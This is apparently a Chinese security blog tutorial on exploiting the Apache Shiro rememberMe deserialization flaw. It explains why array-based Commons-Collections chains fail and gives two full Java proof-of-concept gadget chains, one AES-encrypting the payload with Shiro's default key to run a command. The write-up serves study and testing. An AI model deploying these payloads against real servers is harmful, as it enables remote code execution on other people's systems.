Shiro反序列化漏洞-shiro下的CC链利用 前言 今天接着讲Shiro反序列化漏洞,上一次我们分析了Shiro反序列化漏洞的原理,打了URLDNS这条最简单JDK内聚的链子,但是实际上反序列化漏洞我们最终还是希望能够执行代码,常见的就是打CC链。但我们上次分析了,Shiro内置是不带CC依赖的,测试漏洞环境我们加上CC3.2.1的版本,今天着重来分析下怎么打改版本。
漏洞复现 首先确保引入了CC3依赖
1 2 3 4 5 <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.2.1</version > </dependency >
紧接着就是打payload了,我们这里打CC6,套路很熟悉了,构造一个序列化的payload,通过脚本AES的key加密,Base64加密。
抓包将其作为cookie的rememberMe字段发送
但这里我们会遇到一个错误,通过报错可以看到说是,Unable to load class 这里有个类它加载不到,这个类是Lorg.apache.commons.collections.Transformer,实际上是Transformer数组,因为我们CC6的payload里面用到了Transformer数组
这就很奇怪了,为什么其他的类都能加载的到,但是Transformer这个类就加载不到呢?我们去触发反序列化的地方DefaultSerializer看一看。我们之前说这里是调用了readObject方法,但实际上它并不是调用原生的 ObjectInputStream 里的readObject,可以看到上面它这里换了 ClassResolvingObjectInputStream这个类,这个类是Shiro里面自定义的一个对象输入流,也就是说问题是在这个类里面做了一些处理而产生的
所以我们进到ClassResolvingObjectInputStream类里看一看,这个类就俩方法,它重写了一个resolveClass,resolveClass是Java在反序列化时会被调用的类,如果重写了就会去调用这个重写的resolveClass类。resolveClass是反序列化中用来查找类的方法,也就是读取到一个字符串类名,然后通过这个方法找到对应的java.lang.Class对象。
对比一下原生的resolveClass类,发现区别在Class.forName()这里的类加载不同,ClassUtils是Shiro自己写的工具类
点进去ClassUtils这个类看一看,它这里是先加载线程加载器,接着当前类加载器,最后系统类加载器,这里我们宏观一点的去理解就是ClassUtils.loadClass不能加载数组类Transformer,Class.loadClass是可以加载数组类Transformer,具体区别是Tomcat内置的类加载的细节,和安全关系不太大。
所以我们确定了原因:如果反序列化流中包含非java自身的数组,则会出现无法加载类的错误。而这里CC6用到了 Transformer数组。
所以我们不使用数组类就好了,改写一下CC的版本,这里先来回顾一下目前为止走过的CC链
结合我们之前学过的CC链子构造出一个没有数组的版本,这里是CC3+CC2+CC6,payload如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 public class ShiroCC { public static void main (String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl (); Class tc = templates.getClass(); Field nameField = tc.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"lotus" ); Field bytecodesField = tc.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); byte [] code = Files.readAllBytes(Paths.get("D://tmp/classes/Test.class" )); byte [][] codes = {code}; bytecodesField.set(templates,codes ); InvokerTransformer invokerTransformer = new InvokerTransformer ("newTransformer" , null , null ); HashMap<Object, Object> map = new HashMap <>(); Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer (1 )); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, templates); HashMap<Object, Object> map2 = new HashMap <>(); map2.put(tiedMapEntry, "LLLotus" ); lazyMap.remove(templates); Class c = LazyMap.class; Field factoryField = c.getDeclaredField("factory" ); factoryField.setAccessible(true ); factoryField.set(lazyMap,invokerTransformer); serialize(map2); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException,ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
然后是熟悉的环节,序列化→AES加密→Base64编码,成功调用
当然这里构造不含数组的反序列化Gadget的方法也有很多,比如Orange的师傅使用JRMP的方式:http://blog.orange.tw/2018/03/pwn-ctf-platform-with-java-jrmp-gadget.html
也可以使用 javassist + TemplatesImpl 替换这里
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 public class POC1 { public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass cc3 = pool.makeClass("Shiro" ); cc3.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" )); cc3.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc.exe\");" ); byte [] code = cc3.toBytecode(); TemplatesImpl obj = new TemplatesImpl (); setFieldValue(obj,"_bytecodes" ,new byte [][]{code}); setFieldValue(obj,"_name" ,"test" ); setFieldValue(obj,"_tfactory" ,new TransformerFactoryImpl ()); Transformer transformer = new InvokerTransformer ("getClass" , null , null ); HashMap innerMap = new HashMap (); Map outerMap = LazyMap.decorate(innerMap, transformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (outerMap, obj); HashSet hashSet = new HashSet (1 ); hashSet.add(tiedMapEntry); outerMap.clear(); setFieldValue(transformer,"iMethodName" ,"newTransformer" ); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(hashSet); AesCipherService aes = new AesCipherService (); byte [] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==" ); ByteSource encrypt = aes.encrypt(byteArrayOutputStream.toByteArray(), key); System.out.println(encrypt.toString()); } }
补充一下key的收集:https://github.com/yanm1e/shiro_key
后记 今天主要讲了Shiro3.2.1版本下的CC链利用,解决了默认CC链利用不了的问题。
并且之前讲过Shiro默认的情况下没有CC的,只有commons-beanutils的依赖,commons-beanutils在1.8.3这个版本也是存在反序列化漏洞的,也就是我们也可以去打,下一章就打这个Shiro里原生的自带的漏洞。